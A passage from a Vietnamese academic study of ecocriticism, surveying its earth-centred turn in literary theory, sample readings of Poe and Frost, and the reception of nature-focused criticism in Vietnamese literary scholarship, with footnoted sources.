cách mà chúng ta không thể lường trước, cũng không thể kiểm soát được”3
.
Cho dù có lẽ nhiều người sẽ đồng tình với phái phê bình sinh thái học lạc quan
(light Greens) khi tin rằng chúng ta có thể cứu trái đất bằng cách thận trọng hơn trong
cách sản xuất, tiêu dùng. Và thật khó đồng tình với những nhà phê bình sinh thái bi
quan (dark Greens) khi phải thừa nhận loài người chúng ta do bị đầu độc bởi những
thành tựu về khoa học kĩ thuật và công nghệ, đã nghĩ rằng con người có khả năng cải
tạo được thế giới. Khoa học kĩ thuật chính là nguyên nhân hủy hoại môi trường, do đó
nó không thể nào là giải pháp cho vấn đề môi trường mà bằng cách nào đó con người
phải quay trở lại tự nhiên. Thì một sự thực đang tồn tại: môi trường toàn cầu đang
ngày một tồi tệ đi nhưng chúng ta vẫn chưa có những chính sách mang tính toàn cầu
và toàn diện để thay đổi điều đó. Để giải quyết khủng hoảng con người phải nhìn lại
phương thức sống, xem xét lại văn minh văn hóa để đề xuất, đánh giá lại thái độ của
mình với Trái Đất. Điều này dẫn đến cuộc cách mạng thế giới quan của con người mà
văn học phải tham dự vào như một cách đề nghị, như một lời cảnh báo: “hầu hết
tác phẩm phê bình sinh thái chia sẻ một động cơ chung: sự lo lắng về việc chúng ta đã
đi đến giới hạn của thời đại môi trường, thời điểm mà những hậu quả của hành vi con
người đang tàn phá hệ thống sự sống cơ bản của hành tinh”4
.

1Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
2 Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press, xv – xxxvi, p xxii.
3
Bate J. (1991), Romantic Ecology: Wordsworth and the Environmental Tradition, Routledge , p 439.
4Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi, xxii.
23
1.3.2 “Phê bình sinh thái đảo lộn truyền thống phê bình”
Đây là nhận định của Peter Barry, trong tuyển tập giới thiệu những lí thuyết
văn học và văn hóa Nhập môn lí thuyết: dẫn luận lí luận văn học và lí luận văn hóa
(Beginning Theory: An Introduction to Literary and Cultural Theory), ở phần đánh
giá của ông về phê bình sinh thái1
. Đó cũng là cách mà Cheryll Glotfelty nhận diện
về hướng nghiên cứu này, là phân biệt nó với các phương pháp phê bình khác.
Các nhà phê bình sinh thái cho rằng phê bình văn học trước đây quá chú
tâm vào con người – khai thác tính cách, tâm lí, tình cảm, hành động, nội tâm… mà
bỏ qua mối quan hệ giữa nhân vật và thế giới. Peter Barry phân tích về một tác
phẩm của Edgar Allan Poe Ngôi nhà của Usher và chỉ ra rằng, các nhà nghiên cứu
dường như chỉ quan tâm đến căn bệnh kì quái của nhân vật, khai thác tâm lí nhân
vật mà bỏ quên khung cảnh xung quanh tòa lâu đài – sự tách biệt, nặng nề, “quỷ
ám” của nó là căn nguyên của bệnh trạng nhân vật.
Tôi muốn minh họa bước chuyển biến quan trọng này sự từ chối việc ưu tiên
biểu hiện cái bên trong hơn là cái bên ngoài. Văn bản tôi sử dụng ở đây là truyện ngắn
nổi tiếng của Edgar Allan Poe nhan đề “Sự sụp đổ của ngôi nhà Usher” (‘The Fall of the
House of Usher’). Trong truyện, Rod-crick Usher và chị anh ta, Madeline, trải nghiệm
một dạng cầm tù tự nguyện trong ngôi nhà cổ, đổ nát, cách biệt với thế giới bên
ngoài, dựng kề một cái hồ trông đầy tội nghiệp, quỷ ám: “một cái hồ đen thẫm và
khủng khiếp nằm lặng yên trong vẻ lộng lẫy điềm tĩnh bên cạnh căn nhà”. Người chị
mắc phải một căn bệnh kz lạ khiến người dần dần héo mòn, còn bản thân Usher, một
kẻ mắc bệnh “l{ tưởng chủ nghĩa, kiêu ngạo”, đau buồn bởi “sự nhạy cảm đến mức
bệnh tật của các giác quan” – cái khiến anh ta không thể chịu đựng được bất cứ giao
tiếp nào với thế giới tự nhiên, mùi thơm của những bông hoa trở nên ngột ngạt, mắt
của anh ta bị tra tấn bởi thậm chí chỉ ánh sáng ban ngày mờ nhạt. Mối liên hệ duy
nhất của anh ta với thế giới là thông qua nghệ thuật (…) Ngôi nhà của Usher, do vậy,
không phải là một phần của hệ thống sống; không có nhân tố nào đến từ bên ngoài để
tiếp thêm sinh lực cho nó và nó cũng không thể góp phần cho hệ thống khác; nó là
một ánh sáng đã lụi tàn, một dòng suối đã ngừng trôi. Sự tách biệt kiểu Narciss của nó
khỏi dòng chảy cuộc sống rộng lớn xung quanh đã biến nó thành như một kiểu hố đen.
Nó đã trở thành một cơn xoáy lốc nuốt trọn và hủy diệt năng lượng của chính mình(…)

1
Barry P. (2002), “Ecocriticism”, Beginning Theory: An Introduction to Literary and Cultural Theory,
Manchester University press, p 248 – 279, p 251.
24
Đáng sợ, Usher là tất cả “văn hóa”, không “tự nhiên”, anh ta là “kẻ sợ ánh sáng” (nhạy
cảm với ánh sáng) và không thể chịu đựng ánh sáng tự nhiên, thích ánh sáng thể hiện
trong những bức tranh, anh ta không thể chịu đựng âm thanh tự nhiên, chỉ “xử lí âm
thanh” của âm nhạc. Những gì được tưởng tượng ở đây là một hệ thống sinh thái hư
hỏng không thể sửa chữa và trong cái chết đau đớn của nó: đây là cuộc sống trên một
hành tinh lạnh lẽo, là hệ thống tắc nghẽn, cắt lìa những gì thanh lọc và tái sinh. Ở sự
đọc này, trọng tâm của câu chuyện không phải là đêm tối của tâm hồn, mà là những
thảm họa sinh thái cố {, mùa đông hạt nhân, năng lượng mặt trời hoặc kiệt sức. Đây
là một câu chuyện đáng sợ hơn so với cách đọc thông thường tạo ra, khi người kể
chuyện chạy khỏi ngôi nhà bị sụp đổ nhưng không có nơi nào cho anh ta chạy tới cả.
1
Phê bình sinh thái đã thay đổi một cách cơ bản cách nhìn nhận, tiếp cận đối
tượng. Các phong trào nghiên cứu văn học từ trước đến nay đều lấy “con người làm
trung tâm” (human-centred), còn phê bình sinh thái quan niệm đặt trái đất lên trước
hết (Putting the Earth first). Bởi vậy, phương pháp tiếp cận trái đất là trung tâm
(earth-centered approach) để nghiên cứu văn học của phê bình sinh thái đã chỉ trích lí
tưởng đề cao cá nhân, từ đó tạo ra một phản đề đối với tư tưởng đã ăn sâu cắm rễ
vào tư duy nhân loại, để đề xuất quan niệm đề cao tính tương quan giữa cá nhân và
môi trường. Và như vậy phê bình sinh thái cũng mong muốn chấm dứt tình trạng li
khai hàng nghìn năm nay giữa văn hóa và tự nhiên. Chủ nghĩa nhân văn sinh thái do
phê bình sinh thái đề xuất không tách rời thiên nhiên và văn hóa mà nối lại mạch sống
ngàn đời của con người với tự nhiên, coi con người là một phần cộng sinh của tạo
hóa.
Don R. Adams phân tích bài thơ Bụi hoa (The Tuft of Flowers) của Robert
Frost để thấy cá nhân trong sự nối kết với con người và môi trường tự nhiên mà
trong đó họ sống và chết đi. Bài thơ nói về một nông dân làm việc ngoài đồng một
mình vào một ngày nọ. Một nông dân khác đã cắt cỏ trên đồng vào buổi sáng sớm,
và tác giả bài thơ đang quan sát người nông dân này vào lúc trễ hơn trong ngày,
khi ông ta đang lật cỏ cho khô dưới ánh mặt trời và cất trong kho cho gia súc ăn
vào mùa đông. Ông thấy công việc thật là cô đơn và đống cỏ đã cắt gợi về cái chết,
khiến ông thấy buồn. Nhưng rồi ông ta phát hiện thấy một “bụi hoa” mà người cắt
cỏ buổi sáng đã không cắt, có lẽ là vì vẻ đẹp của nó. Những bông hoa đã thu hút

1Barry P. (2002), “Ecocriticism”, Beginning Theory: An Introduction to Literary and Cultural Theory,
Manchester University press, 248 – 279, p 257.
25
một con bướm, và con bướm thì thu hút sự chú ý của người nông dân. Bỗng nhiên,
thay vì cảm thấy buồn và cô đơn, người nông dân thấy gắn kết về phương diện môi
trường với con bướm, bông hoa và người cắt cỏ đã làm việc trước đó và đã để lại
bụi hoa xinh đẹp này cho ông thấy và thưởng thức. Thế rồi ông ấy gởi một lời chúc
đến người nông dân vắng mặt: Con người làm việc cùng nhau/ Tôi nói với ông ấy
bằng cả trái tim mình/ Cho dù họ làm việc với nhau hay riêng lẻ
1
. Ý tưởng về việc
con người sống, làm việc và nối kết với nhau qua vẻ đẹp của một bụi hoa là ý
tưởng sâu sắc về mạng lưới sinh thái mà con người và tự nhiên gắn kết với nhau
trong một vòng tuần hoàn bất tận.
Như vậy, phê bình sinh thái thực hiện hai bước thay đổi, thứ nhất, chuyển
hướng trung tâm từ con người ra nghiên cứu bối cảnh xung quanh con người, cái
nền tảng làm môi trường của nhân vật. Điểm thứ hai là từ cái nhìn “sinh thái trung
tâm”, phạm vi thế giới sẽ được mở rộng, không phải chỉ là phạm vi xã hội mà toàn
bộ sinh quyển “Lí thuyết văn học, nhìn chung, nghiên cứu mối quan hệ giữa nhà
văn, văn bản và thế giới. Trong hầu hết các lí thuyết văn học, “thế giới” đồng nghĩa
với xã hội – phạm vi xã hội. Phê bình sinh thái mở rộng khái niệm “thế giới” bao
gồm toàn bộ sinh quyển”2
.
1.3.3 Một vài hướng nghiên cứu sinh thái cụ thể
Các nhà nghiên cứu đều cho rằng thực chất, hiện tại phê bình sinh thái đang
trong trạng thái “trăm hoa đua nở”
3
, “rộng, mơ hồ, nhiều hàm ý, mở”
4
hơn là đang
được đúc kết vững vàng. Tuy vậy, chúng ta cũng có thể khái quát những hướng cơ
bản của phê bình sinh thái.
Thời kì đầu, phê bình sinh thái dựa vào lý thuyết sinh thái học bề sâu (deep
ecology), thường đi theo cách tiếp cận sinh học trung tâm luận (biocentric) xem

1Adams D. R. (2010), “Cá nhân và môi trường: Giảng dạy nhận thức về môi trường trong lớp học khoa học nhân
văn”, Hội thảo quốc tế: Nhận thức về nhu cầu bảo vệ môi trường: vai trò của giáo dục đại học, Đại học Hoa Sen,
Tp Hồ Chí Minh và Đại học An Giang, Tp Long Xuyên, Việt Nam, tr182 – 185, tr 184.
2Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press, xv – xxxvi, p xvii.
3Theo Trần Hải Yến (2014), “Nghiên cứu phê bình sinh thái hiện đại và di sản văn hóa: nhìn từ cách Sinh
thái học tìm về Tam giáo” (Phật giáo, Nho giáo, Đạo giáo), Hội thảo khoa học Phát triển văn học Việt Nam
trong bối cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
4Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi, p xxii.
26
xét tự nhiên được mô tả như thế nào trong văn học. Họ tìm đến các mẫu lặp đi lặp
lại trong văn chương về cái hoang dã, tự nhiên trong thơ trữ tình, vai trò của bối
cảnh tự nhiên trong cốt truyện, nhà văn nam và nhà văn nữ viết về tự nhiên như
thế nào. Đồng thời, phê bình sinh thái cũng khôi phục lại các thể loại viết về tự
nhiên đã bị bỏ quên, như thể loại phi hư cấu viết về tự nhiên (nonfictional natural
writing) như Lịch sử tự nhiên của Selbourne (A Nature History of Sebourne) do
Gilbert White viết năm 1789; nghiên cứu các xu hướng thể loại, nhận dạng các tác
giả mà tác phẩm của họ thể hiện ý thức sinh thái. Ở đây, phê bình sinh thái cũng
xem xét lại các thể loại viết về tự nhiên như văn học đồng quê, văn học lãng mạn…
Tiếp theo, thế kỉ 21, phê bình sinh thái theo quan điểm nhân chủng học, đặt
bình diện xã hội làm trung tâm “tái kết nối tính xã hội và tính sinh thái”. Xu hướng
tìm kiếm và khai thác các sáng tác mang chủ đề thiên nhiên hoặc có sự tập trung
mạnh mẽ vào thiên nhiên như mục ca lãng mạn (romantic pastoral) dần chuyển
sang phê bình sinh thái – xã hội (eco-social); chuyển hướng nghiên cứu về thành
phố, công nghiệp hóa và môi trường, cùng những vấn đề liên đới như sắc tộc, bản
địa, hậu thực dân, cộng đồng lưu vong, sinh thái nữ quyền, di sản văn hóa và môi
trường, nhiễm độc môi trường, sự tưởng tượng văn chương về các mối quan hệ
giữa con người và thú vật… Có thể nói, phê bình sinh thái là sự giao cắt với chính
trị, nó nhanh chóng kết hợp với các vấn đề xã hội, toàn cầu hóa, và tính thời sự
hiện nay: hậu thực dân, hậu hiện đại, giới, tính dục… Do vậy, kiểu phê bình này
không đơn giản, “trong trẻo” mà kì thực rất nhạy cảm.
Tính đến nay, theo tổng kết của Karen Thornber, cả hai khuynh hướng phê
bình sinh thái này đã tạo được những đột phá quan trọng, trong đó có cả việc phát
hiện lại tầm quan trọng của những thể loại và thể tài văn chương gần như bị quên
lãng như các sáng tác về đề tài thiên nhiên, các tự sự về tình trạng bị nhiễm độc
của môi trường và con người, thơ ca và kịch sinh thái (ecopoetry/ ecodrama) –
những thể tài quan tâm đến mối quan hệ giữa con người và môi trường xung
quanh họ. Phê bình sinh thái cũng diễn dịch lại sự cấu thành các hệ đề tài liên quan
đến môi trường như đề tài mục ca, chủ nghĩa phân biệt chủng tộc gắn với môi
trường, tư tưởng tận thế gắn với môi trường (ecoapocalypticism). Đồng thời nó
cũng phát hiện những nội dung “ngầm” về môi trường trong một loạt các văn bản
nghệ thuật. Gần đây nhất, phê bình sinh thái đã chú { đến những thể loại và hình
thức truyền thông đa dạng khác ngoài văn bản viết, gồm cả truyện tranh, phim
hoạt hình, mỹ thuật sinh học (bioart), kiến trúc xanh, các nguồn dữ liệu kỹ thuật số
– điều này đã làm thay đổi cách các học giả nghĩ về nội dung của phê bình sinh
27
thái1
.
Đúng như Chellry Glofelty đã dự đoán từ năm 1996, phê bình sinh thái đã
trở thành một khuynh hướng nghiên cứu “liên ngành, đa văn hóa và mang tính
quốc tế”
2
. Tương lai của phê bình sinh thái gắn với toàn cầu hóa. Do vậy, trước hết
phê bình sinh thái bắt đầu rời địa hạt trung tâm, tìm đến những văn bản ngoài Âu
Mĩ để khai mở những tiềm năng l{ thuyết mới của phê bình sinh thái. Khi tìm hiểu
các văn bản ngoài phương Tây, các nhà phê bình sinh thái đã phát hiện ra diễn
ngôn mơ hồ trong tình yêu thiên nhiên của các văn bản Ðông Á (Karen Thornber).
Nhưng mặt khác, trở về các diễn ngôn phương Ðông, phê bình sinh thái kết nối với
các tư tưởng triết học sinh thái môi trường hiện đại để đề xuất một cách ứng xử
mới với tự nhiên, tìm về các tư tưởng văn hóa phương Đông (Nho giáo, Đạo giáo,
Phật giáo) để tái thiết sinh thái3
.
Xuất phát từ bối cảnh toàn cầu hóa, phê bình sinh thái đề xuất những khái
niệm mà như Patrick Murphy kêu gọi “lí thuyết phê bình sinh thái xuyên quốc gia”.
Từ nhận thức ấy, các nhà phê bình sinh thái kêu gọi “{ thức hành tinh” (planetary
conciousness) trong việc nhìn nhận các vấn đề môi trường, Ursula Heise đã đặt ra
thuật ngữ “chủ nghĩa thế giới sinh thái” (ecocosmopolitan). Các nhà sinh thái cũng
muốn có “mạng lưới đề tài”, dựa vào cơ sở một đề tài, so sánh xuyên quốc gia,
xuyên thể loại (tham chiếu ở văn bản văn chương và văn bản phi văn chương).
Những nỗ lực đó có hạt nhân hợp lí ở chỗ vấn đề biến đổi khí hậu không phải là
vấn đề của riêng mỗi quốc gia dân tộc. Hơn nữa, chính ý niệm hiện tại về vùng lãnh
thổ lại đang là rào cản cho vấn đề giải quyết khủng hoảng sinh thái toàn cầu. Kate
Rigby cho rằng “Một chiến lược khác để mở rộng từ địa phương ra toàn cầu tái
khái niệm nơi chốn như một nốt trong mạng lưới toàn cầu (…) từ điểm nhìn này sự
quan sát những hiện tượng địa phương như là sự di trú của chim hay những biểu
hiện của quá trình biến đổi khí hậu trở thành một điểm bắt đầu để tìm hiểu và liên
cảm với các quá trình sinh thái toàn cầu. Tương tự như vậy, những cảm quan và

1Theo Thornber K. (2014), Những tương lai của phê bình sinh thái và văn học (Hải Ngọc dịch),
http://hieutn1979.wordpress.com.
2Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi, tr 25
3Trần Hải Yến (2014), “Nghiên cứu phê bình sinh thái hiện đại và di sản văn hóa: nhìn từ cách Sinh thái học
tìm về Tam giáo” (Phật giáo, Nho giáo, Đạo giáo), Hội thảo khoa học Phát triển văn học Việt Nam trong bối
cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
28
trải nghiệm về hiểm họa môi trường xuyên biên giới nổi lên như một bản lề kết nối
các kiểu cư trú địa phương với các kiểu cư trú xuyên quốc gia”1
.
Như vậy, phê bình sinh thái không hề có một khuôn khổ đông cứng về đối
tượng, phương pháp cũng như các vấn đề chính, mà càng ngày càng mở rộng và
phức tạp. Đó cũng là lí do vì sao phê bình sinh thái rất mở, nó có thể dung hợp
nhiều lí thuyết phê bình: nữ quyền luận, giải cấu trúc… kể cả phương pháp tiếp cận
thi pháp học để nhận diện điểm nhìn, motif cốt truyện, nhân vật, giọng điệu…
Ngoài việc sử dụng những phương pháp và thao tác nghiên cứu văn học, phê bình
sinh thái là một hướng nghiên cứu liên ngành, kết hợp văn học với khoa học, phân tích
tác phẩm văn chương để rút ra những cảnh báo môi trường. Vận dụng những kiến thức
của các ngành khoa học (sinh thái học, dân tộc học, sử học, triết học, chính trị, đạo
đức…), một số loại hình nghệ thuật khác (điện ảnh, âm nhạc…) để hiểu và lý giải các tác
phẩm.
Điều cơ bản của Phê bình sinh thái là thay đổi điểm nhìn, từ tư tưởng “con
người là trung tâm” (Anthropocentrism) sang tư tưởng “sinh thái trung tâm”
(Earth-Centered), từ đó nhìn lại toàn bộ văn hóa, văn học của con người để phản
biện lại. Vận dụng “cảm quan nhìn lại” của phê bình sinh thái làm tiền đề để nhận
thức mối quan hệ giữa con người và tự nhiên xung quanh như một thực thể của
chỉnh thể sinh thái. Sự nhận thức lại này sẽ giúp chúng ta nhận diện rõ hơn mối
quan hệ giữa tự nhiên và văn hóa. Các nhà sinh thái đi tìm câu trả lời và giải pháp
về mặt tư tưởng: văn hóa xã hội quyết định thái độ, hành vi của con người đối với
tự nhiên, thay đổi cách nhìn về tự nhiên sẽ tạo cơ sở cho sự thay đổi trong ứng xử
với tự nhiên. Do vậy, sứ mệnh của phê bình sinh thái là bất biến: phát triển hướng
nghiên cứu sinh thái, đưa ra những đề xuất, mà dựa vào đó, có thể thay đổi thái độ
của nhân loại với tự nhiên thông qua hệ thống lí thuyết của mình.
2.LỊCH SỬ PHÊ BÌNH MỐI QUAN HỆ CON NGƯỜI VỚI TỰ NHIÊN TRONG VĂN HỌC
VIỆT NAM
Trước khi xuất hiện phê bình sinh thái, vấn đề con người trong mối quan hệ
với tự nhiên trong văn học Việt Nam đã được chú ý từ lâu. Trong lịch sử văn học, con
người đã trải qua nhiều cảm thức trong mối quan hệ với tự nhiên. Trong nghiên cứu
văn học dân gian, người ta đã chỉ ra niềm kính sợ, tôn sùng tự nhiên qua những kích
thước thân thể khổng lồ, những hành động lớn lao kiểu dời non lấp bể, chống trời
của các nhân vật trong thần thoại, sử thi. Cảm thức về sự thống nhất giữa con người

1Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học.
29
và tự nhiên qua thế giới loài vật, cỏ cây, hoa lá… trong ca dao được tìm hiểu trong
Thi pháp ca dao (Nguyễn Xuân Kính), Thế giới động vật trong ca dao cổ truyền Người
Việt (Đỗ Thị Hòa)…
Trong văn học trung đại, đó là cảm thức hòa điệu: ca tụng thiên nhiên, xem
thiên nhiên là nơi lánh trú của tâm hồn, lí tưởng hóa mối tương tác giữa con người
và môi trường (thơ sơn thủy, điền viên, thơ Haiku, thể loại mục ca…). Các nghiên
cứu về con người trong mối quan hệ với thiên nhiên được các tác giả quan tâm
như thiên nhiên trong thơ trong thơ Thiền thời Lí Trần, Nguyễn Trãi, Nguyễn Bỉnh
Khiêm, Nguyễn Du, Nguyễn Khuyến… ở các công trình như Phong cách Nguyễn Du
trong truyện Kiều (Phan Ngọc), Thi pháp Truyện Kiều (Trần Đình Sử), Người mở đầu
cho thi học Thiền gia (Phương Lựu), Tư tưởng sùng thượng thiên nhiên trong thơ
Nôm Nguyễn Trãi (Lê Nguyên Cẩn), Thơ đăng lãm của Nguyễn Du cuộc hoàn
nguyên và đối thoại siêu việt thời gian (Qua một số tác phẩm Bắc hành tạp lục và
Đường thi) (Phạm Ánh Sao), Thơ đề vịnh thiên nhiên trong Hồng Đức Quốc âm thi
tập (Trần Quốc Dũng), Phong cách nghệ thuật Nguyễn Khuyến (Biện Minh Điền)…
Thiên nhiên trong mối quan hệ với con người chủ yếu thể hiện ở hai khía cạnh là
nơi lánh trú, trốn đời, chốn nương thân; thiên nhiên là bầu bạn, là gia đình có cùng
tiếng nói với con người. Khi xã hội bất như ý, khi tâm trạng bất như {… con người
tìm về với thiên nhiên. Các nghiên cứu đã chỉ ra “ngôn ngữ thiên nhiên” như là
một đặc trưng để biểu hiện tâm lí nhân vật. Tuy nhiên, thiên nhiên ở đây vẫn là
dạng thái “hòa điệu”, “nói hộ tâm trạng của con người”…
Những nghiên cứu về văn học lãng mạn 1930-1945 cũng quan tâm đến mối
quan hệ giữa con người và thiên nhiên. Đặc biệt đã có những chú ý tới sự mất dần
những giá trị cổ truyền tốt đẹp vì sự xâm lấn của đô thị như trong các nghiên cứu
về thơ Nguyễn Bính, Bàng Bá Lân, Anh Thơ… Tuy nhiên, các hướng nghiên cứu vẫn
coi con người là trung tâm, mô tả tự nhiên để làm nổi bật vẻ đẹp của con người.
Các công trình nghiên cứu văn học Việt Nam sau năm 1975 đã khẳng định
văn học mở rộng quan niệm nghệ thuật về con người, nhìn nhận con người ở khía
cạnh tự nhiên. Chuyên luận Thơ trữ tình Việt Nam 1975-1990 của chúng tôi đã đề
cập khá cụ thể một số phương diện của cái tôi trữ tình ở khía cạnh tự nhiên, triết lí
về tự nhiên “Xu hướng trở về với tự nhiên là phản ứng cự tuyệt niềm tin mù quáng
vào khoa học và công nghệ (…) đây là quá trình hồi cố” để trở về với tự nhiên,
buông thả mình trong tự nhiên, tự thấy mình trong tự nhiên. Tiếp đó, bài viết
“Đương đầu với bầy cá dữ” với cảm hứng con người và thiên nhiên trong văn học,
30
và Tư duy đồng thoại trong thơ hiện nay cũng của chúng tôi đã chỉ ra, cảm hứng về
mối quan hệ giữa môi trường sống và con người là một cảm hứng mang tính vĩnh
cửu của nhân loại, đồng thời chỉ ra sự khác biệt Đông Tây trong cảm quan về thiên
nhiên. Trong công trình Đổi mới quan niệm về con người trong truyện Việt Nam
1975 – 2000, Nguyễn Văn Kha nhìn nhận sự thay đổi về quan niệm về con người
trong sự gắn bó với đất đai, hài hoà với thiên nhiên xứ sở. Phạm Tuấn Anh (Luận
án tiến sĩ Đổi mới khuynh hướng thẩm mĩ trong văn xuôi Việt Nam sau năm 1975)
đề cập đến một khía cạnh đổi mới của văn xuôi là việc nhìn nhận con người trong
mối quan hệ với tự nhiên. Trong luận án của mình, việc tác giả phân tích hình
tượng bác Thông gắn bó với cây xanh như là “thân thể vô cơ” của đời sống phần
nào đã chạm đến những vấn đề sinh thái.
Tuy nhiên, dù đã có rất nhiều công trình nghiên cứu về mối quan hệ giữa con
người và tự nhiên, nhưng những vấn đề được đưa ra trên đây vẫn chưa thực sự là vấn
đề của sinh thái hiện đại.
2.1 Phê bình sinh thái – những khởi đầu mới mẻ
Về việc giới thiệu lí thuyết, phê bình sinh thái đã bắt đầu được chuyển dịch
hoặc giới thiệu sang tiếng Việt, tuy nhiên vẫn còn khá lẻ tẻ, rời rạc.
Năm 2011, Viện Văn học tổ chức một buổi thuyết trình về phê bình sinh thái.
Karen Thronber sang Việt Nam trong khuôn khổ Hội thảo quốc tế 2011 “Tiếp cận văn
học châu Á từ lý thuyết phương Tây hiện đại: vận dụng, tương thích, thách thức và cơ
hội”. Tại Viện văn học, bà cũng đã có buổi giảng giới thiệu về Ecocriticism. Bài giảng
Ecocriticism của Karen Thornber tại Viện Văn học vào tháng 3 năm 2011 giới thiệu một
cách tổng quan về bản chất, { nghĩa và tiến trình của nghiên cứu văn chương môi
trường và sau đó phân tích 6 điểm cơ bản mà phê bình sinh thái quan tâm. Thứ nhất,
Sự tưởng tượng về nơi chốn, từ địa phương đến toàn cầu: sự tưởng tượng về nơi chốn
và sự gắn kết nơi chốn; thứ hai là việc sử dụng và phê phán những mô hình nghiên cứu
khoa học trong nghiên cứu văn chương và nghệ thuật; thứ ba là sự khác biệt về giới
trong cảm quan và tưởng tượng về môi trường; thứ tư là sự hấp thụ lẫn nhau giữa hai
luồng tri thức học thuật phê bình sinh thái và hậu thuộc địa; thứ năm là sự khác biệt
giữa “dân bản xứ” và “dân khai hoang”; thứ sáu là một chủ đề vẫn còn đang tiếp tục
được nghiên cứu: “văn chương và tưởng tượng mĩ học trong những mối liên hệ xuyên
loài”. Bà cho rằng nếu như thời kì đầu phê bình sinh thái chủ yếu tập trung “những biểu
đạt văn chương về giới tự nhiên” còn thời kì thứ hai quan tâm đến vấn đề “công bằng
31
môi trường”, kết nối “những liên hệ cấu trúc giữa vấn đề xã hội và vấn đề môi trường”1
.
Bài Phê bình sinh thái – khuynh hướng nghiên cứu văn học mang tính cách tân
(2012), Đỗ Văn Hiểu đã chỉ ra điểm mới trong tư tưởng nòng cốt của phê bình sinh
thái từ tư tưởng “nhân loại trung tâm luận” sang tư tưởng “sinh thái trung tâm luận”
đã tạo nên “bước ngoặt” trong nghiên cứu văn học. Ra đời trong thời đại “môi trường
ngày một xấu đi”, phê bình sinh thái có “sứ mệnh cao cả là phân tích chỉ ra căn nguyên
văn hóa tư tưởng dẫn đến nguy cơ sinh thái, nghiên cứu quan hệ giữa con người và
môi trường tự nhiên”, “nhà văn, nhà phê bình cũng nên đóng góp tiếng nói của mình
vào việc giải trừ nguy cơ sinh thái”. Từ đó, phê bình sinh thái đề ra nguyên tắc thẩm
mĩ “chủ trương của mĩ học sinh thái là thống nhất hài hòa giữa con người và tự nhiên,
con người và xã hội, con người và bản thân chứ không phải là con người chiếm hữu,
chinh phục và cải tạo tự nhiên, không chủ trương quan điểm lao động sáng tạo ra cái
đẹp”, theo đó, đối tượng, phạm vi nghiên cứu của phê bình sinh thái cũng được mở
rộng gồm “văn học sinh thái,… tác phẩm miêu tả phong cảnh tự nhiên… căn nguyên
văn hóa tư tưởng dẫn đến nguy cơ sinh thái… ảnh hưởng đến quan hệ giữa con người
và tự nhiên… chính sách phá hoại sinh thái, bàn đến một phương thức sống của xã hội
tiêu dùng, một sự kiện ô nhiễm môi trường… đều có thể trở thành đối tượng quan
tâm của phê bình sinh thái”, “dùng góc nhìn sinh thái, có thể khảo sát văn học đông
tây kim cổ”
2
.
Nguyễn Thị Tịnh Thy trong bài Phê bình sinh thái – nhìn từ lí thuyết giải cấu
trúc (2013) đã nhìn thấy cảm quan hậu hiện đại biểu hiện rõ nhất ở đặc điểm giải
cấu trúc qua những đặc trưng: lệch tâm, tản quyền, cái chết của chủ thể, lật đổ và
tái thiết, tính đối thoại… Xuất phát “Từ sự hoài nghi và phản đối “chủ nghĩa nhân
loại trung tâm”, các nhà phê bình sinh thái đã dịch chuyển trung tâm bằng sự đề
cao “sinh vật trung tâm”, “trái đất trung tâm”, “sinh thái trung tâm”. Không chỉ là
“khoa học của sự lật đổ” phê bình sinh thái còn chủ trương “tái thiết môi trường”,
sự tái thiết đó của các nhà văn là “góp phần ngăn chặn văn học phản sinh thái,
thông qua cải tạo văn học, cải tạo quan niệm để chuộc lỗi với tự nhiên”. Điều đó,
tạo nên tính đa thanh cho văn học thông qua việc “vận dụng lí luận đối thoại vào

1Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học.
2Đỗ Văn Hiểu (2012), “Phê bình sinh thái – khuynh hướng nghiên cứu văn học mang tính cách tân”, Tạp chí
Phát triển Nghiên cứu và khoa học, Đại học Quốc gia Hồ Chí Minh, số15 (X2), tr 48 – 54, 50.
32
văn học sinh thái nói riêng và sáng tác nghệ thuật nói chung sẽ giúp chúng ta tìm
hiểu mối quan hệ giữa con người với tự nhiên. Qua đối thoại, chúng ta không chỉ
nghe được tiếng nói của con người mà còn nghe được tiếng nói của tự nhiên”1
.
Trong bài Cần tìm hiểu sự chuyển hướng của phê bình sinh thái (2015)2
, Phương
Lựu lưu { về việc phê bình sinh thái đã đưa vấn đề “phê bình sinh thái về công
bằng hoàn cảnh” (thuật ngữ của T. V. Reed) vào tư tưởng học thuật của mình. Bài
giới thiệu Khuynh hướng phê bình sinh thái trong nghiên cứu văn học (Lê Lưu
Oanh, Trần Thị Ánh Nguyệt, 2016) đã giới thiệu một cách khái quát về phê bình
sinh thái như một khuynh hướng nghiên cứu văn học khá năng động hiện nay và
những hướng nghiên cứu cụ thể của phong trào này3
. Ngoài ra, có thể kể đến một
số tư liệu nhắc đến việc coi phê bình sinh thái như một trào lưu lí thuyết mới đang
được quan tâm của giới nghiên cứu: Chuyển hướng văn hóa trong nghiên cứu văn
học (Trần Đình Sử).
Việc dịch thuật lí thuyết phê bình sinh thái cũng thể hiện sự nỗ lực giới thiệu
phong trào này ở Việt Nam. Phê bình sinh thái-cội nguồn và sự phát triển (2012)4
của
